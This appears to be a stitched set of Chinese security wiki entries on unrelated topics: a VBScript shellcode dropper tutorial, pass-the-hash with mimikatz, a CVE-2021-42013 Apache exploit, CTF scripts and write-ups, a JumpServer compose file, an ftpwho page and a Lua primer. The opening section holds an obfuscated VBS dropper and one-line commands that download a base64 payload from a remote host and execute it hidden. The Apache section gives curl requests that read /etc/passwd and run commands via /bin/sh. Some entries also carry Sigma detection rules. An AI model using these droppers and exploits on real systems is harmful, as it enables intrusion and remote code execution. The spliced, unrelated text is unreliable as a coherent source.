AAAAAAAAAAAAAAACwwAAAAAAAAAAAAAFQwAAA4MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQDAAAAAAAAAAAAAAQDAAAAAAAACcAEV4aXRQcm9jZXNzAAAAADAAAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArlCKEXNEZtNDw65f3Fx0iJZqtzpLJTX0kUgG" Dim GBHMAfCsea Set GBHMAfCsea = CreateObject("Scripting.FileSystemObject") Dim nYosrMtHSIOKSTI Dim LNXsqHXEKZQU Set nYosrMtHSIOKSTI = GBHMAfCsea.GetSpecialFolder(2) LNXsqHXEKZQU = nYosrMtHSIOKSTI & "\" & GBHMAfCsea.GetTempName() GBHMAfCsea.CreateFolder(LNXsqHXEKZQU) YeQZhbvaLPekFW = LNXsqHXEKZQU & "\" & "QoziwORKliqRDPs.exe" Dim voFeIDpffjdo Set voFeIDpffjdo = CreateObject("Wscript.Shell") WwqoNcaCIbw = oSpLpsWeU(cTENSbYbnWY) Set WQwWDbhse = CreateObject("ADODB.Stream") WQwWDbhse.Type = 1 WQwWDbhse.Open WQwWDbhse.Write WwqoNcaCIbw WQwWDbhse.SaveToFile YeQZhbvaLPekFW, 2 voFeIDpffjdo.run YeQZhbvaLPekFW, 0, true GBHMAfCsea.DeleteFile(YeQZhbvaLPekFW) GBHMAfCsea.DeleteFolder(LNXsqHXEKZQU) End Function skbfzWOqR ``` ## How to run payload in a simple/compatible way ? Read the code, we can create a simple vbs script called msf.vbs to execute the shellcode. A vbs script can be executed on Windows XP/2003/Vista/7/8/10/2008/2012/.... ``` shellcode = WScript.Arguments.Item(0) strXML = "" & shellcode & "" Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0") oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue set oXMLDoc = nothing Dim fso Set fso = CreateObject("Scripting.FileSystemObject") Dim tempdir Dim basedir Set tempdir = fso.GetSpecialFolder(2) basedir = tempdir & "\" & fso.GetTempName() fso.CreateFolder(basedir) tempexe = basedir & "\" & "test.exe" Dim adodbstream Set adodbstream = CreateObject("ADODB.Stream") adodbstream.Type = 1 adodbstream.Open adodbstream.Write decode adodbstream.SaveToFile tempexe, 2 Dim wshell Set wshell = CreateObject("Wscript.Shell") wshell.run tempexe, 0, true fso.DeleteFile(tempexe) fso.DeleteFolder(basedir) Ok, how to run it in cmd.exe ? Do you want to paste the code line by line ? A simple command is created as follow: ``` upload msf.vbs to vuln lab with a single command, ``` echo shellcode = WScript.Arguments.Item(0):strXML = ^"^^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir) > %TEMP%\msf.vbs ``` execute metasploit payload with msf.vbs and cscript.exe ``` C:\Documents and Settings\test\Desktop> cscript.exe msf.vbs <msf-vbs-shellcode> ``` ## Bypass nc shell buffer size limit If the script is used in cmd.exe on localhost, everything goes well. But if it is used in netcat cmd shell, the payload will be broken. ex: ``` C:\Documents and Settings\test\Desktop>cscript.exe %TEMP%\msf.vbs TVqQAAMAA.....AAAAAP Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. C:\DOCUME~1\test\LOCALS~1\Temp\msf.vbs(1, 53) Microsoft VBScript compilation error: Syntax error ``` - origin payload size: 6160 - netcat handle payload size: 4068 Pleae try it yourself, For security tests, another vbs script is created. ``` echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs ``` Run the following command to execute your vbs payload: ``` START /B cscript.exe %TEMP%\msf.vbs http://192.168.1.100:8080/payload.txt ``` ## References 1. https://github.com/nixawk/psmsf/blob/master/vbsmsf.bat 2. http://stackoverflow.com/questions/3205027/maximum-length-of-command-line-string 3. https://operatingquadrant.com/2009/09/11/vbs-decoding-base64-strings-in-10-lines-of-code/ 4. https://social.technet.microsoft.com/Forums/systemcenter/en-US/b8839003-0a8f-4d41-a04a-f09f79103d0e/scom-sp1-groups-classes-and-snmp?forum=operationsmanagerauthoring 5. http://subt0x10.blogspot.com/2016/09/shellcode-via-jscript-vbscript.html 6. http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html 7. https://github.com/rapid7/metasploit-framework/blob/c00df4dd712bbc4cfbb9f46d963eb0490094b4de/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
sec-knowleage
# T1550-002-windows-哈希传递 ## 来自ATT&CK的描述 攻击者可能会使用被盗的密码哈希来“传递哈希”,从而在环境中横向移动,从而绕过正常的系统访问控制。传递哈希(PtH)是一种无需访问用户的明文密码即可作为用户身份验证的方法。此方法绕过需要明文密码的标准身份验证步骤,而直接进入使用密码哈希的身份验证部分。在这种技术中,使用凭据访问技术可以捕获正在使用的帐户的有效密码哈希。捕获的哈希与PtH一起用于验证该用户身份。一旦通过身份验证,PtH可用于在本地或远程系统上执行操作。 具有KB2871997的Windows 7及更高版本需要有效的域用户凭据或RID 500管理员哈希。 ## 测试案例 passing the hash,中文一般翻译为hash传递攻击,在windows系统中,系统通常不会存储用户登录密码,而是存储密码的哈希值,在我们远程登录系统的时候,实际上向远程传递的就是密码的hash值。当攻击者获取了存储在计算机上的用户名和密码的hash值的时候,他虽然不知道密码值,但是仍然可以通过直接连接远程主机,通过传送密码的hash值来达到登录的目的。 ## 检测日志 windows 安全日志(靶机、攻击机) ## 测试复现 ### 基础环境 DC:windows server 2008 R2 PC1:windows server 2008 R2 (目标主机) PC2:win 7 (攻击机) Mimikatz (测试工具) ### 测试过程 1.获取相关账户的NTLM哈希,具体过程不再演示,mimikatz即可 2.利用mimikatz进行PTH mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:xiaomi.org /ntlm:762c6fa6a9adb2f5ff215484bd8296b7" ## 测试留痕 windows安全日志 ### 目标主机-PC1-PTH成功 ```log Event-ID: 4624 已成功登录帐户。 使用者: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 登录类型: 3 新登录: 安全 ID: S-1-5-21-3576461989-1381017913-248049510-500 帐户名: Administrator 帐户域: XIAOMI 登录 ID: 0xF86B9 登录 GUID: {00000000-0000-0000-0000-000000000000} 进程信息: 进程 ID: 0x0 进程名: - 网络信息: 工作站名: 12306BR0-PC 源网络地址: 192.168.66.88 源端口: 49251 详细身份验证信息: 登录进程: NtLmSsp 身份验证数据包: NTLM 传递的服务: - 数据包名(仅限 NTLM): NTLM V2 密钥长度: 128 ``` ### 目标主机-PC1-PTH失败 ```log Event-ID: 4625 登录失败的帐户: 安全 ID: NULL SID 帐户名: administrator 帐户域: xiaomi.org 失败信息: 失败原因: 未知用户名或密码错误。 状态: 0xC000006D 子状态: 0xC000006A 进程信息: 调用方进程 ID: 0x0 调用方进程名: - 网络信息: 工作站名: 12306BR0-PC 源网络地址: 192.168.66.88 源端口: 49253 详细身份验证信息: 登录进程: NtLmSsp 身份验证数据包: NTLM 传递服务: - 数据包名(仅限 NTLM): - 密钥长度: 0 ``` ### 攻击机-PC2 ```log Event-ID: 4624 已成功登录帐户。 使用者: 安全 ID: S-1-5-21-3579006141-3881886638-2121494774-1000 帐户名: 12306Br0 帐户域: 12306Br0-PC 登录 ID: 0x1AB7F9 登录类型: 9 新登录: 安全 ID: S-1-5-21-3579006141-3881886638-2121494774-1000 帐户名: 12306Br0 帐户域: 12306Br0-PC 登录 ID: 0x234995 登录 GUID: {00000000-0000-0000-0000-000000000000} 进程信息: 进程 ID: 0x398 进程名: C:\Windows\System32\svchost.exe 网络信息: 工作站名: 源网络地址: ::1 源端口: 0 详细身份验证信息: 登录进程: seclogo 身份验证数据包: Negotiate 传递的服务: - 数据包名(仅限 NTLM): - 密钥长度: 0 ``` ## 检测规则/思路 ### sigma规则 ```yml title: Pass the Hash Activity(目标主机) id: f8d98d6c-7a07-4d74-b064-dd4a3c244528 status: experimental description: Detects the attack technique pass the hash which is used to move laterally inside the network references: - https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events author: Ilias el Matani (rule), The Information Assurance Directorate at the NSA (method) date: 2017/03/08 tags: - attack.lateral_movement - attack.T1550-002 - car.2016-04-004 logsource: product: windows service: security definition: The successful use of PtH for lateral movement between workstations would trigger event ID 4624, a failed logon attempt would trigger an event ID 4625 detection: selection: - EventID: 4624 LogonType: '3' LogonProcessName: 'NtLmSsp' WorkstationName: '%Workstations%' ComputerName: '%Workstations%' - EventID: 4625 LogonType: '3' LogonProcessName: 'NtLmSsp' WorkstationName: '%Workstations%' ComputerName: '%Workstations%' filter: AccountName: 'ANONYMOUS LOGON' condition: selection and not filter falsepositives: - Administrator activity - Penetration tests level: medium ``` ```yml title: Pass the Hash Activity 2(攻击机) id: 8eef149c-bd26-49f2-9e5a-9b00e3af499b status: production description: Detects the attack technique pass the hash which is used to move laterally inside the network references: - https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events - https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis - https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/ author: Dave Kennedy, Jeff Warren (method) / David Vassallo (rule) date: 2019/06/14 tags: - attack.lateral_movement - attack.T1550-002 logsource: product: windows service: security definition: The successful use of PtH for lateral movement between workstations would trigger event ID 4624 detection: selection: - EventID: 4624 SubjectUserSid: 'S-1-0-0' LogonType: '3' LogonProcessName: 'NtLmSsp' KeyLength: '0' - EventID: 4624 #未测试触发此特征 LogonType: '9' LogonProcessName: 'seclogo' filter: AccountName: 'ANONYMOUS LOGON' condition: selection and not filter falsepositives: - Administrator activity - Penetration tests level: medium ``` ### 建议 规则未经过实际环境测试验证检测效果,谨慎使用! ## 参考推荐 MITRE-ATT&CK-T1550-002 <https://attack.mitre.org/techniques/T1550/002/> windows-哈希传递1 <https://github.com/12306Bro/sigma/blob/master/rules/windows/builtin/win_pass_the_hash.yml> windows-哈希传递2 <https://github.com/12306Bro/sigma/blob/master/rules/windows/builtin/win_pass_the_hash_2.yml>
sec-knowleage
ftpwho === 显示当前每个ftp会话信息 ## 补充说明 **ftpwho命令** ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息。 ### 语法 ```shell ftpwho(选项) ``` ### 选项 ```shell -h:显示帮助信息; -v:详细模式,输出更多信息。 ```
sec-knowleage
# T1190-CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。 攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。 这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。 ## 漏洞详情 使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。 但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录): ```yml curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd ``` 可见,成功读取到/etc/passwd: ``` curl -v --path-as-is http://10.211.55.10:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd * Trying 10.211.55.10... * TCP_NODELAY set * Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0) > GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1 > Host: 10.211.55.10:8080 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Sun, 10 Oct 2021 05:33:12 GMT < Server: Apache/2.4.50 (Unix) < Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT < ETag: "39e-5cceec7356000" < Accept-Ranges: bytes < Content-Length: 926 < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin * Connection #0 to host 10.211.55.10 left intact * Closing connection 0 ``` 在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令: ```yml curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' ``` ```yml curl -v --data "echo;id" 'http://10.211.55.10:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' * Trying 10.211.55.10... * TCP_NODELAY set * Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0) > POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 > Host: 10.211.55.10:8080 > User-Agent: curl/7.64.1 > Accept: */* > Content-Length: 7 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 7 out of 7 bytes < HTTP/1.1 200 OK < Date: Sun, 10 Oct 2021 05:34:09 GMT < Server: Apache/2.4.50 (Unix) < Transfer-Encoding: chunked < uid=1(daemon) gid=1(daemon) groups=1(daemon) * Connection #0 to host 10.211.55.10 left intact * Closing connection 0 ``` ## 检测日志 HTTP.log ```http.log GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1 Host: 10.211.55.10:8080 User-Agent: curl/7.64.1 Accept: */* HTTP/1.1 200 OK Date: Sun, 10 Oct 2021 05:39:09 GMT Server: Apache/2.4.50 (Unix) Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT ETag: "39e-5cceec7356000" Accept-Ranges: bytes Content-Length: 926 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ``` ```http.log POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: 10.211.55.10:8080 User-Agent: curl/7.64.1 Accept: */* Content-Length: 7 Content-Type: application/x-www-form-urlencoded echo;idHTTP/1.1 200 OK Date: Sun, 10 Oct 2021 05:39:11 GMT Server: Apache/2.4.50 (Unix) Transfer-Encoding: chunked 2d uid=1(daemon) gid=1(daemon) groups=1(daemon) 0 ``` ## 测试复现 可参考漏洞详情部分 ## 检测规则/思路 ### sigma规则 ```yml title: CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞 status: 测试状态 description: 基于HTTP日志进行检测 references: - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md detection: selection: cs-method: - 'GET' #请求方法为GET - 'POST' #请求方法为POST c-uri: '.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65' condition: selection fields: - c-ip - c-dns falsepositives: - 观察返回状态码是否为200 OK。 level: high ``` 也可以根据自己实际需求,编写suricata规则。 流量包下载位置:<https://pan.baidu.com/s/1m-rysxGIeMVfZNIBuaRa2Q> 提取码:0wff ### 建议 建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013) <https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-42013/README.zh-cn.md>
sec-knowleage
from pwn import * import random #r=process(["ltrace", "./sss"]) r=remote("54.202.7.144", 9875) print r.recvuntil(">_") print r.recv() def send(what): print ">>",repr(what) r.send(what) sleep(0.2) try: print r.recv(timeout=4) except: pass def sign(what): send("1\n") send(what) def run(what, signature): send("2\n") send(what) send(signature+"\n") sign("ls\n") cmd="cat flag" for i in range(30): if random.randint(0, 1)==0: cmd+=" " else: cmd+="\t" cmd=cmd+(256-len(cmd))*"\x00" run(cmd, "a")
sec-knowleage
# Hyde Street [146 points] (23 solves) > Top of the hill, at the source. > > But the sky still beckons. In this task we got a Docker container. However, unlike with previous tasks in the same category, there were no Crystal executables. Instead we got some weird Ruby code that, at a glance, seemed to generate and compile C source code into executable programs. The C source code consisted of a number of steps transforming a number received from the user before finally checking the transformed value against expected result. This is similar to what we have seen earlier in the As Below challenge, but this time we had access to the source code. So we decided to extract the operations and operands from the code and then execute the transformations in reverse starting with the expected result. The challenging part was correctly parsing the C source code, but we decided to just slap a regex onto it and deal with any potential consequences later. After some code tinkering, we came up with the following: ```typescript const decoder = new TextDecoder("utf-8"); let file_data = await Deno.readFile("/chall/challs/generated.c") let source = decoder.decode(file_data) source = source.split('{')[1].split('}')[0].split('\n') .filter(Boolean) .map(line => line.match(/(.) (\d+)/).slice(1)) .map(([oper, num]) => [ oper, parseInt(num) ]) source.reverse() let result = source.find(([ oper, num ]) => oper === '=')[1] for (let [ oper, num ] of source.slice(1)) { switch (oper) { case '+': result -= num break case '-': result += num break case '/': result *= num break } } console.log(result) ```
sec-knowleage
version: '2.4' services: core: image: vulhub/jumpserver:3.6.3 ulimits: core: 0 restart: always tty: true environment: MAGNUS_PORT: ${MAGNUS_PORT:-30000-30020} env_file: config.env ports: - "8080:80" - "2222:2222" networks: - jumpnet mysql: image: mariadb:10.11.5 command: --character-set-server=utf8 --collation-server=utf8_general_ci env_file: config.env networks: - jumpnet redis: image: redis:6.2.13 command: - /bin/sh - -c - redis-server --requirepass $$REDIS_PASSWORD --loglevel warning --maxmemory-policy allkeys-lru env_file: config.env networks: - jumpnet networks: jumpnet:
sec-knowleage
# 基础语法 --- ## 基本语法 ### 注释 **单行注释** 两个减号是单行注释: ```lua -- ``` **多行注释** ```lua --[[ 多行注释 多行注释 --]] ``` ### 标示符 Lua 标示符用于定义一个变量,函数获取其他用户定义的项。标示符以一个字母 A 到 Z 或 a 到 z 或下划线 _ 开头后加上 0 个或多个字母,下划线,数字(0 到 9)。 最好不要使用下划线加大写字母的标示符,因为 Lua 的保留字也是这样的。 Lua 不允许使用特殊字符如 `@`, `$`, 和 `%` 来定义标示符。 Lua 是一个区分大小写的编程语言。因此在 Lua 中 Test 与 test 是两个不同的标示符。以下列出了一些正确的标示符: ``` mohd zara abc move_name a_123 myname50 _temp j a23b9 retVal ``` ### 关键词 以下列出了 Lua 的保留关键词。保留关键字不能作为常量或变量或其他用户自定义标示符: ``` and break do else elseif end false for function if in local nil not or repeat return then true until while goto ``` 一般约定,以下划线开头连接一串大写字母的名字(比如 `_VERSION`)被保留用于 Lua 内部全局变量。 ### 全局变量 在默认情况下,变量总是认为是全局的。 全局变量不需要声明,给一个变量赋值后即创建了这个全局变量,访问一个没有初始化的全局变量也不会出错,只不过得到的结果是:nil。 ```lua > print(b) nil > b=10 > print(b) 10 > ``` 如果你想删除一个全局变量,只需要将变量赋值为nil。 ```lua b = nil print(b) --> nil ``` 这样变量b就好像从没被使用过一样。换句话说, 当且仅当一个变量不等于nil时,这个变量即存在。 --- ## 数据类型 Lua 是动态类型语言,变量不要类型定义,只需要为变量赋值。 值可以存储在变量中,作为参数传递或结果返回。 Lua 中有 8 个基本类型分别为:nil、boolean、number、string、userdata、function、thread 和 table。 * nil : 这个最简单,只有值nil属于该类,表示一个无效值(在条件表达式中相当于false)。 * boolean : 包含两个值:false和true。 * number : 表示双精度类型的实浮点数 * string : 字符串由一对双引号或单引号来表示 * function : 由 C 或 Lua 编写的函数 * userdata : 表示任意存储在变量中的C数据结构 * thread : 表示执行的独立线路,用于执行协同程序 * table Lua : 中的表(table)其实是一个"关联数组"(associative arrays),数组的索引可以是数字、字符串或表类型。在 Lua 里,table 的创建是通过"构造表达式"来完成,最简单构造表达式是{},用来创建一个空表。 我们可以使用 type 函数测试给定变量或者值的类型: ```lua print(type("Hello world")) --> string print(type(10.4*3)) --> number print(type(print)) --> function print(type(type)) --> function print(type(true)) --> boolean print(type(nil)) --> nil print(type(type(X))) --> string ``` ### nil(空) nil 类型表示一种没有任何有效值,它只有一个值 -- nil,例如打印一个没有赋值的变量,便会输出一个 `nil` 值: ```lua > print(type(a)) nil > ``` 对于全局变量和 table,`nil` 还有一个"删除"作用,给全局变量或者 table 表里的变量赋一个 `nil` 值,等同于把它们删掉,执行下面代码就知: ```lua tab1 = { key1 = "val1", key2 = "val2", "val3" } for k, v in pairs(tab1) do print(k .. " - " .. v) end tab1.key1 = nil for k, v in pairs(tab1) do print(k .. " - " .. v) end ``` nil 作比较时应该加上双引号 `"`: ```lua > type(X) nil > type(X)==nil false > type(X)=="nil" true > ``` `type(X)==nil` 结果为 `false` 的原因是 `type(X)` 实质是返回的 `"nil"` 字符串,是一个 `string` 类型: ```lua type(type(X))==string ``` ### boolean(布尔) `boolean` 类型只有两个可选值:`true`(真) 和 `false`(假),Lua 把 `false` 和 `nil` 看作是` false`,其他的都为 `true`,数字 0 也是 `true`: ```lua print(type(true)) print(type(false)) print(type(nil)) if false or nil then print("至少有一个是 true") else print("false 和 nil 都为 false") end if 0 then print("数字 0 是 true") else print("数字 0 为 false") end ``` ### number(数字) Lua 默认只有一种 number 类型 -- double(双精度)类型(默认类型可以修改 luaconf.h 里的定义),以下几种写法都被看作是 number 类型: ```lua print(type(2)) print(type(2.2)) print(type(0.2)) print(type(2e+1)) print(type(0.2e-1)) print(type(7.8263692594256e-06)) ``` ### string(字符串) 字符串由一对双引号或单引号来表示。 ```lua string1 = "this is string1" string2 = 'this is string2' ``` 也可以用 2 个方括号 `[[]]` 来表示"一块"字符串。 ```lua html = [[ <html> <head></head> <body> <a href="http://www.test.com/">test</a> </body> </html> ]] print(html) ``` 在对一个数字字符串上进行算术操作时,Lua 会尝试将这个数字字符串转成一个数字: ```lua > print("2" + 6) 8.0 > print("2" + "6") 8.0 > print("2 + 6") 2 + 6 > print("-2e2" * "6") -1200.0 > print("error" + 1) stdin:1: attempt to perform arithmetic on a string value stack traceback: stdin:1: in main chunk [C]: in ? > ``` 以上代码中"error" + 1执行报错了,字符串连接使用的是 .. ,如: ``` > print("a" .. 'b') ab > print(157 .. 428) 157428 > ``` 使用 # 来计算字符串的长度,放在字符串前面,如下实例: ``` > len = "www.test.com" > print(#len) 12 > print(#"www.test.com") 12 > ``` ### table(表) 在 Lua 里,table 的创建是通过"构造表达式"来完成,最简单构造表达式是 `{}`,用来创建一个空表。也可以在表里添加一些数据,直接初始化表: ```lua -- 创建一个空的 table local tbl1 = {} -- 直接初始表 local tbl2 = {"apple", "pear", "orange", "grape"} ``` Lua 中的表(table)其实是一个"关联数组"(associative arrays),数组的索引可以是数字或者是字符串。 ```lua a = {} a["key"] = "value" key = 10 a[key] = 22 a[key] = a[key] + 11 for k, v in pairs(a) do print(k .. " : " .. v) end ``` 不同于其他语言的数组把 0 作为数组的初始索引,在 Lua 里表的默认初始索引一般以 1 开始。 ```lua local tbl = {"apple", "pear", "orange", "grape"} for key, val in pairs(tbl) do print("Key", key) end ``` table 不会固定长度大小,有新数据添加时 table 长度会自动增长,没初始的 table 都是 nil。 ```lua a3 = {} for i = 1, 10 do a3[i] = i end a3["key"] = "val" print(a3["key"]) print(a3["none"]) ``` ### function(函数) 在 Lua 中,函数是被看作是"第一类值(First-Class Value)",函数可以存在变量里: ```lua function factorial1(n) if n == 0 then return 1 else return n * factorial1(n - 1) end end print(factorial1(5)) factorial2 = factorial1 print(factorial2(5)) ``` function 可以以匿名函数(anonymous function)的方式通过参数传递: ```lua function testFun(tab,fun) for k ,v in pairs(tab) do print(fun(k,v)); end end tab={key1="val1",key2="val2"}; testFun(tab, function(key,val)--匿名函数 return key.."="..val; end ); ``` ### thread(线程) 在 Lua 里,最主要的线程是协同程序(coroutine)。它跟线程(thread)差不多,拥有自己独立的栈、局部变量和指令指针,可以跟其他协同程序共享全局变量和其他大部分东西。 